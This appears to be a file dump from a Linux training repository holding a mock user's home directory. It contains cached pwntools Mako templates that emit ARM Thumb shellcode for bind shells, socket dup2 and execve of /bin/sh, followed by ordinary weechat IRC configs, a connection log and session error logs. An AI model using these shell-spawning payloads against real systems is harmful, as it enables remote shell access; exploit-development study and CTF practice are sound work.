__M_locals_builtin() 25 | __M_locals.update(__M_dict_builtin([(__M_key, __M_locals_builtin_stored[__M_key]) for __M_key in ['dupsh','listen'] if __M_key in __M_locals_builtin_stored])) 26 | __M_writer(u'\n') 27 | from pwnlib import constants 28 | 29 | __M_locals_builtin_stored = __M_locals_builtin() 30 | __M_locals.update(__M_dict_builtin([(__M_key, __M_locals_builtin_stored[__M_key]) for __M_key in ['constants'] if __M_key in __M_locals_builtin_stored])) 31 | __M_writer(u'\n') 32 | from socket import htons 33 | 34 | __M_locals_builtin_stored = __M_locals_builtin() 35 | __M_locals.update(__M_dict_builtin([(__M_key, __M_locals_builtin_stored[__M_key]) for __M_key in ['htons'] if __M_key in __M_locals_builtin_stored])) 36 | __M_writer(u'\n') 37 | __M_writer(u'\n') 38 | __M_writer(u'\n') 39 | __M_writer(unicode(listen(port, network))) 40 | __M_writer(u'\n') 41 | __M_writer(unicode(dupsh())) 42 | __M_writer(u'\n') 43 | return '' 44 | finally: 45 | context.caller_stack._pop_frame() 46 | 47 | 48 | """ 49 | __M_BEGIN_METADATA 50 | {"source_encoding": "ascii", "line_map": {"32": 3, "48": 42, "36": 3, "37": 4, "38": 10, "39": 11, "40": 11, "41": 12, "42": 12, "16": 5, "17": 4, "22": 1, "26": 1, "27": 2, "31": 2}, "uri": "thumb/linux/bindsh.asm", "filename": "/usr/local/lib/python2.7/dist-packages/pwnlib/shellcraft/templates/thumb/linux/bindsh.asm"} 51 | __M_END_METADATA 52 | """ 53 | -------------------------------------------------------------------------------- /allsafe/elliot_files/.pwntools-cache/mako/thumb/linux/bindsh.asm.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/allsafe/elliot_files/.pwntools-cache/mako/thumb/linux/bindsh.asm.pyc -------------------------------------------------------------------------------- /allsafe/elliot_files/.pwntools-cache/mako/thumb/linux/dup.asm.py: -------------------------------------------------------------------------------- 1 | # -*- coding:ascii -*- 2 | from mako import runtime, filters, cache 3 | UNDEFINED = runtime.UNDEFINED 4 | STOP_RENDERING = runtime.STOP_RENDERING 5 | __M_dict_builtin = dict 6 | __M_locals_builtin = locals 7 | _magic_number = 10 8 | _modified_time = 1473634653.772003 9 | _enable_loop = True 10 | _template_filename = '/usr/local/lib/python2.7/dist-packages/pwnlib/shellcraft/templates/thumb/linux/dup.asm' 11 | _template_uri = 'thumb/linux/dup.asm' 12 | _source_encoding = 'ascii' 13 | _exports = [] 14 | 15 | 16 | __doc__ = u'\nArgs: [sock (imm/reg) = r6]\n Duplicates sock to stdin, stdout and stderr\n' 17 | def render_body(context,sock='r6',**pageargs): 18 | __M_caller = context.caller_stack._push_frame() 19 | try: 20 | __M_locals = __M_dict_builtin(pageargs=pageargs,sock=sock) 21 | __M_writer = context.writer() 22 | from pwnlib.shellcraft import common 23 | 24 | __M_locals_builtin_stored = __M_locals_builtin() 25 | __M_locals.update(__M_dict_builtin([(__M_key, __M_locals_builtin_stored[__M_key]) for __M_key in ['common'] if __M_key in __M_locals_builtin_stored])) 26 | __M_writer(u'\n') 27 | from pwnlib.shellcraft.thumb import mov 28 | 29 | __M_locals_builtin_stored = __M_locals_builtin() 30 | __M_locals.update(__M_dict_builtin([(__M_key, __M_locals_builtin_stored[__M_key]) for __M_key in ['mov'] if __M_key in __M_locals_builtin_stored])) 31 | __M_writer(u'\n') 32 | __M_writer(u'\n') 33 | __M_writer(u'\n') 34 | 35 | dup = common.label("dup") 36 | looplabel = common.label("loop") 37 | 38 | 39 | __M_locals_builtin_stored = __M_locals_builtin() 40 | __M_locals.update(__M_dict_builtin([(__M_key, __M_locals_builtin_stored[__M_key]) for __M_key in ['dup','looplabel'] if __M_key in __M_locals_builtin_stored])) 41 | __M_writer(u'\n') 42 | __M_writer(unicode(dup)) 43 | __M_writer(u':\n ') 44 | __M_writer(unicode(mov('r1', 2))) 45 | __M_writer(u'\n ') 46 | __M_writer(unicode(mov('r7', 'SYS_dup2'))) 47 | __M_writer(u'\n\n') 48 | __M_writer(unicode(looplabel)) 49 | __M_writer(u':\n ') 50 | __M_writer(unicode(mov('r0', sock))) 51 | __M_writer(u'\n svc 1\n subs r1, #1\n bpl ') 52 | __M_writer(unicode(looplabel)) 53 | __M_writer(u'\n') 54 | return '' 55 | finally: 56 | context.caller_stack._pop_frame() 57 | 58 | 59 | """ 60 | __M_BEGIN_METADATA 61 | {"source_encoding": "ascii", "line_map": {"16": 4, "17": 3, "22": 1, "26": 1, "27": 2, "31": 2, "32": 3, "33": 7, "34": 8, "41": 11, "42": 12, "43": 12, "44": 13, "45": 13, "46": 14, "47": 14, "48": 16, "49": 16, "50": 17, "51": 17, "52": 20, "53": 20, "59": 53}, "uri": "thumb/linux/dup.asm", "filename": "/usr/local/lib/python2.7/dist-packages/pwnlib/shellcraft/templates/thumb/linux/dup.asm"} 62 | __M_END_METADATA 63 | """ 64 | -------------------------------------------------------------------------------- /allsafe/elliot_files/.pwntools-cache/mako/thumb/linux/dup.asm.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/allsafe/elliot_files/.pwntools-cache/mako/thumb/linux/dup.asm.pyc -------------------------------------------------------------------------------- /allsafe/elliot_files/.pwntools-cache/mako/thumb/linux/dupsh.asm.py: -------------------------------------------------------------------------------- 1 | # -*- coding:ascii -*- 2 | from mako import runtime, filters, cache 3 | UNDEFINED = runtime.UNDEFINED 4 | STOP_RENDERING = runtime.STOP_RENDERING 5 | __M_dict_builtin = dict 6 | __M_locals_builtin = locals 7 | _magic_number = 10 8 | _modified_time = 1473634653.774387 9 | _enable_loop = True 10 | _template_filename = '/usr/local/lib/python2.7/dist-packages/pwnlib/shellcraft/templates/thumb/linux/dupsh.asm' 11 | _template_uri = 'thumb/linux/dupsh.asm' 12 | _source_encoding = 'ascii' 13 | _exports = [] 14 | 15 | 16 | __doc__ = u'\nArgs: [sock (imm/reg) = ebp]\n Duplicates sock to stdin, stdout and stderr and spawns a shell.\n' 17 | def render_body(context,sock='r6',**pageargs): 18 | __M_caller = context.caller_stack._push_frame() 19 | try: 20 | __M_locals = __M_dict_builtin(pageargs=pageargs,sock=sock) 21 | __M_writer = context.writer() 22 | from pwnlib.shellcraft.thumb import linux 23 | 24 | __M_locals_builtin_stored = __M_locals_builtin() 25 | __M_locals.update(__M_dict_builtin([(__M_key, __M_locals_builtin_stored[__M_key]) for __M_key in ['linux'] if __M_key in __M_locals_builtin_stored])) 26 | __M_writer(u'\n') 27 | __M_writer(u'\n') 28 | __M_writer(u'\n\n\n') 29 | __M_writer(unicode(linux.dup(sock))) 30 | __M_writer(u'\n\n') 31 | __M_writer(unicode(linux.sh())) 32 | __M_writer(u'\n') 33 | return '' 34 | finally: 35 | context.caller_stack._pop_frame() 36 | 37 | 38 | """ 39 | __M_BEGIN_METADATA 40 | {"source_encoding": "ascii", "line_map": {"32": 11, "38": 32, "16": 3, "17": 2, "22": 1, "26": 1, "27": 2, "28": 6, "29": 9, "30": 9, "31": 11}, "uri": "thumb/linux/dupsh.asm", "filename": "/usr/local/lib/python2.7/dist-packages/pwnlib/shellcraft/templates/thumb/linux/dupsh.asm"} 41 | __M_END_METADATA 42 | """ 43 | -------------------------------------------------------------------------------- /allsafe/elliot_files/.pwntools-cache/mako/thumb/linux/dupsh.asm.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/allsafe/elliot_files/.pwntools-cache/mako/thumb/linux/dupsh.asm.pyc -------------------------------------------------------------------------------- /allsafe/elliot_files/.pwntools-cache/mako/thumb/linux/findpeer.asm.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/allsafe/elliot_files/.pwntools-cache/mako/thumb/linux/findpeer.asm.pyc -------------------------------------------------------------------------------- /allsafe/elliot_files/.pwntools-cache/mako/thumb/linux/findpeersh.asm.py: -------------------------------------------------------------------------------- 1 | # -*- coding:ascii -*- 2 | from mako import runtime, filters, cache 3 | UNDEFINED = runtime.UNDEFINED 4 | STOP_RENDERING = runtime.STOP_RENDERING 5 | __M_dict_builtin = dict 6 | __M_locals_builtin = locals 7 | _magic_number = 10 8 | _modified_time = 1473634653.779465 9 | _enable_loop = True 10 | _template_filename = '/usr/local/lib/python2.7/dist-packages/pwnlib/shellcraft/templates/thumb/linux/findpeersh.asm' 11 | _template_uri = 'thumb/linux/findpeersh.asm' 12 | _source_encoding = 'ascii' 13 | _exports = [] 14 | 15 | 16 | __doc__ = u'\n findpeersh(port)\n\n Finds a connected socket. If port is specified it is checked\n against the peer port. A dup2 shell is spawned on it.\n' 17 | def render_body(context,port=None,**pageargs): 18 | __M_caller = context.caller_stack._push_frame() 19 | try: 20 | __M_locals = __M_dict_builtin(pageargs=pageargs,port=port) 21 | __M_writer = context.writer() 22 | from pwnlib.shellcraft.thumb.linux import findpeer, dupsh 23 | 24 | __M_locals_builtin_stored = __M_locals_builtin() 25 | __M_locals.update(__M_dict_builtin([(__M_key, __M_locals_builtin_stored[__M_key]) for __M_key in ['findpeer','dupsh'] if __M_key in __M_locals_builtin_stored])) 26 | __M_writer(u'\n') 27 | __M_writer(u'\n') 28 | __M_writer(u'\n') 29 | __M_writer(unicode(findpeer(port))) 30 | __M_writer(u'\n') 31 | __M_writer(unicode(dupsh())) 32 | __M_writer(u'\n') 33 | return '' 34 | finally: 35 | context.caller_stack._pop_frame() 36 | 37 | 38 | """ 39 | __M_BEGIN_METADATA 40 | {"source_encoding": "ascii", "line_map": {"32": 10, "38": 32, "16": 3, "17": 2, "22": 1, "26": 1, "27": 2, "28": 8, "29": 9, "30": 9, "31": 10}, "uri": "thumb/linux/findpeersh.asm", "filename": "/usr/local/lib/python2.7/dist-packages/pwnlib/shellcraft/templates/thumb/linux/findpeersh.asm"} 41 | __M_END_METADATA 42 | """ 43 | -------------------------------------------------------------------------------- /allsafe/elliot_files/.pwntools-cache/mako/thumb/linux/findpeersh.asm.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/allsafe/elliot_files/.pwntools-cache/mako/thumb/linux/findpeersh.asm.pyc -------------------------------------------------------------------------------- /allsafe/elliot_files/.pwntools-cache/mako/thumb/linux/listen.asm.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/allsafe/elliot_files/.pwntools-cache/mako/thumb/linux/listen.asm.pyc -------------------------------------------------------------------------------- /allsafe/elliot_files/.pwntools-cache/mako/thumb/linux/sh.asm.py: -------------------------------------------------------------------------------- 1 | # -*- coding:ascii -*- 2 | from mako import runtime, filters, cache 3 | UNDEFINED = runtime.UNDEFINED 4 | STOP_RENDERING = runtime.STOP_RENDERING 5 | __M_dict_builtin = dict 6 | __M_locals_builtin = locals 7 | _magic_number = 10 8 | _modified_time = 1473634653.785926 9 | _enable_loop = True 10 | _template_filename = '/usr/local/lib/python2.7/dist-packages/pwnlib/shellcraft/templates/thumb/linux/sh.asm' 11 | _template_uri = 'thumb/linux/sh.asm' 12 | _source_encoding = 'ascii' 13 | _exports = [] 14 | 15 | 16 | __doc__ = u'Execute /bin/sh' 17 | def render_body(context,**pageargs): 18 | __M_caller = context.caller_stack._push_frame() 19 | try: 20 | __M_locals = __M_dict_builtin(pageargs=pageargs) 21 | __M_writer = context.writer() 22 | from pwnlib.shellcraft.thumb import mov 23 | 24 | __M_locals_builtin_stored = __M_locals_builtin() 25 | __M_locals.update(__M_dict_builtin([(__M_key, __M_locals_builtin_stored[__M_key]) for __M_key in ['mov'] if __M_key in __M_locals_builtin_stored])) 26 | __M_writer(u'\n') 27 | __M_writer(u'\n\n adr r0, execve_addr\n ') 28 | __M_writer(unicode(mov('r2', 0))) 29 | __M_writer(u'\n ') 30 | __M_writer(unicode(mov('r7', 'SYS_execve'))) 31 | __M_writer(u'\n push {r0, r2}\n mov r1, sp\n svc 1\n .balign 4, 1\nexecve_addr:\n .ascii "/bin/sh"\n') 32 | return '' 33 | finally: 34 | context.caller_stack._pop_frame() 35 | 36 | 37 | """ 38 | __M_BEGIN_METADATA 39 | {"source_encoding": "ascii", "line_map": {"37": 31, "16": 2, "17": 0, "22": 1, "26": 1, "27": 2, "28": 5, "29": 5, "30": 6, "31": 6}, "uri": "thumb/linux/sh.asm", "filename": "/usr/local/lib/python2.7/dist-packages/pwnlib/shellcraft/templates/thumb/linux/sh.asm"} 40 | __M_END_METADATA 41 | """ 42 | -------------------------------------------------------------------------------- /allsafe/elliot_files/.pwntools-cache/mako/thumb/linux/sh.asm.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/allsafe/elliot_files/.pwntools-cache/mako/thumb/linux/sh.asm.pyc -------------------------------------------------------------------------------- /allsafe/elliot_files/.pwntools-cache/mako/thumb/mov.asm.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/allsafe/elliot_files/.pwntools-cache/mako/thumb/mov.asm.pyc -------------------------------------------------------------------------------- /allsafe/elliot_files/.pwntools-cache/mako/thumb/nop.asm.py: -------------------------------------------------------------------------------- 1 | # -*- coding:ascii -*- 2 | from mako import runtime, filters, cache 3 | UNDEFINED = runtime.UNDEFINED 4 | STOP_RENDERING = runtime.STOP_RENDERING 5 | __M_dict_builtin = dict 6 | __M_locals_builtin = locals 7 | _magic_number = 10 8 | _modified_time = 1473634653.761564 9 | _enable_loop = True 10 | _template_filename = '/usr/local/lib/python2.7/dist-packages/pwnlib/shellcraft/templates/thumb/nop.asm' 11 | _template_uri = 'thumb/nop.asm' 12 | _source_encoding = 'ascii' 13 | _exports = [] 14 | 15 | 16 | __doc__ = u'A nop instruction.' 17 | def render_body(context,**pageargs): 18 | __M_caller = context.caller_stack._push_frame() 19 | try: 20 | __M_locals = __M_dict_builtin(pageargs=pageargs) 21 | __M_writer = context.writer() 22 | __M_writer(u'\n mov r6, r6\n') 23 | return '' 24 | finally: 25 | context.caller_stack._pop_frame() 26 | 27 | 28 | """ 29 | __M_BEGIN_METADATA 30 | {"source_encoding": "ascii", "line_map": {"16": 1, "17": 0, "28": 22, "22": 1}, "uri": "thumb/nop.asm", "filename": "/usr/local/lib/python2.7/dist-packages/pwnlib/shellcraft/templates/thumb/nop.asm"} 31 | __M_END_METADATA 32 | """ 33 | -------------------------------------------------------------------------------- /allsafe/elliot_files/.pwntools-cache/mako/thumb/nop.asm.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/allsafe/elliot_files/.pwntools-cache/mako/thumb/nop.asm.pyc -------------------------------------------------------------------------------- /allsafe/elliot_files/.pwntools-cache/mako/thumb/pushstr.asm.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/allsafe/elliot_files/.pwntools-cache/mako/thumb/pushstr.asm.pyc -------------------------------------------------------------------------------- /allsafe/elliot_files/.pwntools-cache/mako/thumb/ret.asm.py: -------------------------------------------------------------------------------- 1 | # -*- coding:ascii -*- 2 | from mako import runtime, filters, cache 3 | UNDEFINED = runtime.UNDEFINED 4 | STOP_RENDERING = runtime.STOP_RENDERING 5 | __M_dict_builtin = dict 6 | __M_locals_builtin = locals 7 | _magic_number = 10 8 | _modified_time = 1473634653.766366 9 | _enable_loop = True 10 | _template_filename = '/usr/local/lib/python2.7/dist-packages/pwnlib/shellcraft/templates/thumb/ret.asm' 11 | _template_uri = 'thumb/ret.asm' 12 | _source_encoding = 'ascii' 13 | _exports = [] 14 | 15 | 16 | __doc__ = u'A single-byte RET instruction.\n\nArgs:\n return_value: Value to return\n' 17 | def render_body(context,return_value=None,**pageargs): 18 | __M_caller = context.caller_stack._push_frame() 19 | try: 20 | __M_locals = __M_dict_builtin(pageargs=pageargs,return_value=return_value) 21 | __M_writer = context.writer() 22 | from pwnlib.shellcraft import thumb 23 | 24 | __M_locals_builtin_stored = __M_locals_builtin() 25 | __M_locals.update(__M_dict_builtin([(__M_key, __M_locals_builtin_stored[__M_key]) for __M_key in ['thumb'] if __M_key in __M_locals_builtin_stored])) 26 | __M_writer(u'\n') 27 | __M_writer(u'\n') 28 | __M_writer(u'\n\n') 29 | if return_value != None: 30 | __M_writer(u' ') 31 | __M_writer(unicode(thumb.mov('r0', return_value))) 32 | __M_writer(u'\n') 33 | __M_writer(u'\n bx lr\n') 34 | return '' 35 | finally: 36 | context.caller_stack._pop_frame() 37 | 38 | 39 | """ 40 | __M_BEGIN_METADATA 41 | {"source_encoding": "ascii", "line_map": {"32": 10, "33": 12, "39": 33, "16": 2, "17": 7, "22": 1, "26": 1, "27": 6, "28": 7, "29": 9, "30": 10, "31": 10}, "uri": "thumb/ret.asm", "filename": "/usr/local/lib/python2.7/dist-packages/pwnlib/shellcraft/templates/thumb/ret.asm"} 42 | __M_END_METADATA 43 | """ 44 | -------------------------------------------------------------------------------- /allsafe/elliot_files/.pwntools-cache/mako/thumb/ret.asm.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/allsafe/elliot_files/.pwntools-cache/mako/thumb/ret.asm.pyc -------------------------------------------------------------------------------- /allsafe/elliot_files/.pwntools-cache/update: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/allsafe/elliot_files/.pwntools-cache/update -------------------------------------------------------------------------------- /allsafe/elliot_files/.weechat/alias.conf: -------------------------------------------------------------------------------- 1 | # 2 | # weechat -- alias.conf 3 | # 4 | 5 | [cmd] 6 | AAWAY = "allserv /away" 7 | AME = "allchan /me" 8 | AMSG = "allchan /msg *" 9 | ANICK = "allserv /nick" 10 | BEEP = "print -beep" 11 | BYE = "quit" 12 | C = "buffer clear" 13 | CHAT = "dcc chat" 14 | CL = "buffer clear" 15 | CLOSE = "buffer close" 16 | EXIT = "quit" 17 | IG = "ignore" 18 | J = "join" 19 | K = "kick" 20 | KB = "kickban" 21 | LEAVE = "part" 22 | M = "msg" 23 | MSGBUF = "command -buffer $1 * /input send $2-" 24 | MUB = "unban *" 25 | N = "names" 26 | Q = "query" 27 | REDRAW = "window refresh" 28 | SAY = "msg *" 29 | SIGNOFF = "quit" 30 | T = "topic" 31 | UB = "unban" 32 | UMODE = "mode $nick" 33 | V = "command core version" 34 | W = "who" 35 | WC = "window merge" 36 | WI = "whois" 37 | WII = "whois $1 $1" 38 | WW = "whowas" 39 | 40 | [completion] 41 | MSGBUF = "%(buffers_plugins_names)" 42 | -------------------------------------------------------------------------------- /allsafe/elliot_files/.weechat/aspell.conf: -------------------------------------------------------------------------------- 1 | # 2 | # weechat -- aspell.conf 3 | # 4 | 5 | [color] 6 | misspelled = lightred 7 | suggestions = default 8 | 9 | [check] 10 | commands = "ame,amsg,away,command,cycle,kick,kickban,me,msg,notice,part,query,quit,topic" 11 | default_dict = "" 12 | during_search = off 13 | enabled = off 14 | real_time = off 15 | suggestions = -1 16 | word_min_length = 2 17 | 18 | [dict] 19 | 20 | [option] 21 | -------------------------------------------------------------------------------- /allsafe/elliot_files/.weechat/charset.conf: -------------------------------------------------------------------------------- 1 | # 2 | # weechat -- charset.conf 3 | # 4 | 5 | [default] 6 | decode = "iso-8859-1" 7 | encode = "" 8 | 9 | [decode] 10 | 11 | [encode] 12 | -------------------------------------------------------------------------------- /allsafe/elliot_files/.weechat/exec.conf: -------------------------------------------------------------------------------- 1 | # 2 | # weechat -- exec.conf 3 | # 4 | 5 | [command] 6 | default_options = "" 7 | purge_delay = 0 8 | 9 | [color] 10 | flag_finished = lightred 11 | flag_running = lightgreen 12 | -------------------------------------------------------------------------------- /allsafe/elliot_files/.weechat/logger.conf: -------------------------------------------------------------------------------- 1 | # 2 | # weechat -- logger.conf 3 | # 4 | 5 | [look] 6 | backlog = 20 7 | 8 | [color] 9 | backlog_end = default 10 | backlog_line = default 11 | 12 | [file] 13 | auto_log = on 14 | flush_delay = 120 15 | info_lines = off 16 | mask = "$plugin.$name.weechatlog" 17 | name_lower_case = on 18 | nick_prefix = "" 19 | nick_suffix = "" 20 | path = "%h/logs/" 21 | replacement_char = "_" 22 | time_format = "%Y-%m-%d %H:%M:%S" 23 | 24 | [level] 25 | 26 | [mask] 27 | -------------------------------------------------------------------------------- /allsafe/elliot_files/.weechat/logs/irc.server.freenode.weechatlog: -------------------------------------------------------------------------------- 1 | 2016-08-19 12:47:30 -- irc: connecting to server chat.freenode.net/6667... 2 | 2016-08-19 12:47:31 =!= irc: connection refused 3 | 2016-08-19 12:47:31 -- irc: reconnecting to server in 10 seconds 4 | 2016-08-19 12:47:41 -- irc: reconnecting to server... 5 | 2016-08-19 12:47:41 -- irc: connecting to server chat.freenode.net/6667... 6 | 2016-08-19 12:47:42 =!= irc: connection refused 7 | 2016-08-19 12:47:42 -- irc: reconnecting to server in 20 seconds 8 | 2016-08-19 12:48:02 -- irc: reconnecting to server... 9 | 2016-08-19 12:48:02 -- irc: connecting to server chat.freenode.net/6667... 10 | 2016-08-19 12:48:03 =!= irc: connection refused 11 | 2016-08-19 12:48:03 -- irc: reconnecting to server in 40 seconds 12 | 2016-08-19 12:48:43 -- irc: reconnecting to server... 13 | 2016-08-19 12:48:43 -- irc: connecting to server chat.freenode.net/6667... 14 | 2016-08-19 12:48:43 =!= irc: connection refused 15 | 2016-08-19 12:48:43 -- irc: reconnecting to server in 1 minute, 20 seconds 16 | -------------------------------------------------------------------------------- /allsafe/elliot_files/.weechat/plugins.conf: -------------------------------------------------------------------------------- 1 | # 2 | # weechat -- plugins.conf 3 | # 4 | 5 | [var] 6 | fifo.fifo = "on" 7 | guile.check_license = "off" 8 | javascript.check_license = "off" 9 | lua.check_license = "off" 10 | perl.check_license = "off" 11 | python.check_license = "off" 12 | ruby.check_license = "off" 13 | tcl.check_license = "off" 14 | 15 | [desc] 16 | -------------------------------------------------------------------------------- /allsafe/elliot_files/.weechat/relay.conf: -------------------------------------------------------------------------------- 1 | # 2 | # weechat -- relay.conf 3 | # 4 | 5 | [look] 6 | auto_open_buffer = on 7 | raw_messages = 256 8 | 9 | [color] 10 | client = cyan 11 | status_active = lightblue 12 | status_auth_failed = lightred 13 | status_connecting = yellow 14 | status_disconnected = lightred 15 | status_waiting_auth = brown 16 | text = default 17 | text_bg = default 18 | text_selected = white 19 | 20 | [network] 21 | allowed_ips = "" 22 | bind_address = "" 23 | clients_purge_delay = 0 24 | compression_level = 6 25 | ipv6 = on 26 | max_clients = 5 27 | password = "" 28 | ssl_cert_key = "%h/ssl/relay.pem" 29 | ssl_priorities = "NORMAL:-VERS-SSL3.0" 30 | websocket_allowed_origins = "" 31 | 32 | [irc] 33 | backlog_max_minutes = 1440 34 | backlog_max_number = 256 35 | backlog_since_last_disconnect = on 36 | backlog_since_last_message = off 37 | backlog_tags = "irc_privmsg" 38 | backlog_time_format = "[%H:%M] " 39 | 40 | [port] 41 | -------------------------------------------------------------------------------- /allsafe/elliot_files/.weechat/script.conf: -------------------------------------------------------------------------------- 1 | # 2 | # weechat -- script.conf 3 | # 4 | 5 | [look] 6 | columns = "%s %n %V %v %u | %d | %t" 7 | diff_color = on 8 | diff_command = "auto" 9 | display_source = on 10 | quiet_actions = on 11 | sort = "p,n" 12 | translate_description = on 13 | use_keys = on 14 | 15 | [color] 16 | status_autoloaded = cyan 17 | status_held = white 18 | status_installed = lightcyan 19 | status_obsolete = lightmagenta 20 | status_popular = yellow 21 | status_running = lightgreen 22 | status_unknown = lightred 23 | text = default 24 | text_bg = default 25 | text_bg_selected = red 26 | text_date = default 27 | text_date_selected = white 28 | text_delimiters = default 29 | text_description = default 30 | text_description_selected = white 31 | text_extension = default 32 | text_extension_selected = white 33 | text_name = cyan 34 | text_name_selected = lightcyan 35 | text_selected = white 36 | text_tags = brown 37 | text_tags_selected = yellow 38 | text_version = magenta 39 | text_version_loaded = default 40 | text_version_loaded_selected = white 41 | text_version_selected = lightmagenta 42 | 43 | [scripts] 44 | autoload = on 45 | cache_expire = 1440 46 | download_timeout = 30 47 | hold = "" 48 | path = "%h/script" 49 | url = "http://weechat.org/files/plugins.xml.gz" 50 | url_force_https = on 51 | -------------------------------------------------------------------------------- /allsafe/elliot_files/.weechat/sec.conf: -------------------------------------------------------------------------------- 1 | # 2 | # weechat -- sec.conf 3 | # 4 | 5 | [crypt] 6 | cipher = aes256 7 | hash_algo = sha256 8 | passphrase_file = "" 9 | salt = on 10 | 11 | [data] 12 | -------------------------------------------------------------------------------- /allsafe/elliot_files/.weechat/trigger.conf: -------------------------------------------------------------------------------- 1 | # 2 | # weechat -- trigger.conf 3 | # 4 | 5 | [look] 6 | enabled = on 7 | monitor_strip_colors = off 8 | 9 | [color] 10 | flag_command = lightgreen 11 | flag_conditions = yellow 12 | flag_regex = lightcyan 13 | flag_return_code = lightmagenta 14 | regex = white 15 | replace = cyan 16 | trigger = green 17 | trigger_disabled = red 18 | 19 | [trigger] 20 | beep.arguments = "" 21 | beep.command = "/print -beep" 22 | beep.conditions = "${tg_displayed} && (${tg_highlight} || ${tg_msg_pv})" 23 | beep.enabled = on 24 | beep.hook = print 25 | beep.regex = "" 26 | beep.return_code = ok 27 | cmd_pass.arguments = "5000|input_text_display;5000|history_add;5000|irc_command_auth" 28 | cmd_pass.command = "" 29 | cmd_pass.conditions = "" 30 | cmd_pass.enabled = on 31 | cmd_pass.hook = modifier 32 | cmd_pass.regex = "==^((/(msg|m|quote) +nickserv +(id|identify|register|ghost +[^ ]+|release +[^ ]+|regain +[^ ]+) +)|/oper +[^ ]+ +|/quote +pass +|/set +[^ ]*password[^ ]* +|/secure +(passphrase|decrypt|set +[^ ]+) +)(.*)==${re:1}${hide:*,${re:+}}" 33 | cmd_pass.return_code = ok 34 | msg_auth.arguments = "5000|irc_message_auth" 35 | msg_auth.command = "" 36 | msg_auth.conditions = "" 37 | msg_auth.enabled = on 38 | msg_auth.hook = modifier 39 | msg_auth.regex = "==^(.*(id|identify|register|ghost +[^ ]+|release +[^ ]+) +)(.*)==${re:1}${hide:*,${re:+}}" 40 | msg_auth.return_code = ok 41 | server_pass.arguments = "5000|input_text_display;5000|history_add" 42 | server_pass.command = "" 43 | server_pass.conditions = "" 44 | server_pass.enabled = on 45 | server_pass.hook = modifier 46 | server_pass.regex = "==^(/(server|connect) .*-(sasl_)?password=)([^ ]+)(.*)==${re:1}${hide:*,${re:4}}${re:5}" 47 | server_pass.return_code = ok 48 | -------------------------------------------------------------------------------- /allsafe/elliot_files/.weechat/xfer.conf: -------------------------------------------------------------------------------- 1 | # 2 | # weechat -- xfer.conf 3 | # 4 | 5 | [look] 6 | auto_open_buffer = on 7 | progress_bar_size = 20 8 | pv_tags = "notify_private" 9 | 10 | [color] 11 | status_aborted = lightred 12 | status_active = lightblue 13 | status_connecting = yellow 14 | status_done = lightgreen 15 | status_failed = lightred 16 | status_waiting = lightcyan 17 | text = default 18 | text_bg = default 19 | text_selected = white 20 | 21 | [network] 22 | blocksize = 65536 23 | fast_send = on 24 | own_ip = "" 25 | port_range = "" 26 | speed_limit = 0 27 | timeout = 300 28 | 29 | [file] 30 | auto_accept_chats = off 31 | auto_accept_files = off 32 | auto_accept_nicks = "" 33 | auto_check_crc32 = off 34 | auto_rename = on 35 | auto_resume = on 36 | convert_spaces = on 37 | download_path = "%h/xfer" 38 | upload_path = "~" 39 | use_nick_in_filename = on 40 | -------------------------------------------------------------------------------- /allsafe/elliot_files/.wget-hsts: -------------------------------------------------------------------------------- 1 | # HSTS 1.0 Known Hosts database for GNU Wget. 2 | # Edit at your own risk. 3 | # [:] 4 | icec.tf 0 0 1471032056 63072000 5 | play.icec.tf 0 0 1471018183 63072000 6 | -------------------------------------------------------------------------------- /allsafe/elliot_files/.xsession-errors: -------------------------------------------------------------------------------- 1 | openConnection: connect: No such file or directory 2 | cannot connect to brltty at :0 3 | upstart: update-notifier-crash (/var/crash/_usr_bin_sudo.0.crash) main process (2079) terminated with status 1 4 | -------------------------------------------------------------------------------- /allsafe/elliot_files/.xsession-errors.old: -------------------------------------------------------------------------------- 1 | openConnection: connect: No such file or directory 2 | cannot connect to brltty at :0 3 | upstart: update-notifier-crash (/var/crash/_usr_bin_sudo.0.crash) main process (2072) terminated with status 1 4 | upstart: indicator-application pre-stop process (2863) killed by TERM signal 5 | upstart: bamfdaemon main process (2089) killed by TERM signal 6 | upstart: hud main process (2184) killed by HUP signal 7 | upstart: unity-settings-daemon main process (2186) killed by HUP signal 8 | upstart: gnome-session (Unity) main process (2195) killed by HUP signal 9 | upstart: unity-panel-service main process (2199) killed by HUP signal 10 | upstart: indicator-messages main process (2243) killed by HUP signal 11 | upstart: indicator-bluetooth main process (2244) killed by TERM signal 12 | upstart: indicator-power main process (2254) killed by TERM signal 13 | upstart: indicator-datetime main process (2255) killed by TERM signal 14 | upstart: indicator-keyboard main process (2257) killed by HUP signal 15 | upstart: indicator-sound main process (2258) killed by HUP signal 16 | upstart: indicator-printers main process (2264) killed by TERM signal 17 | upstart: indicator-session main process (2265) killed by TERM signal 18 | upstart: indicator-application main process (2269) killed by TERM signal 19 | upstart: gnome-session (Unity) pre-stop process (2864) killed by TERM signal 20 | upstart: unity7 main process (2192) terminated with status 1 21 | upstart: 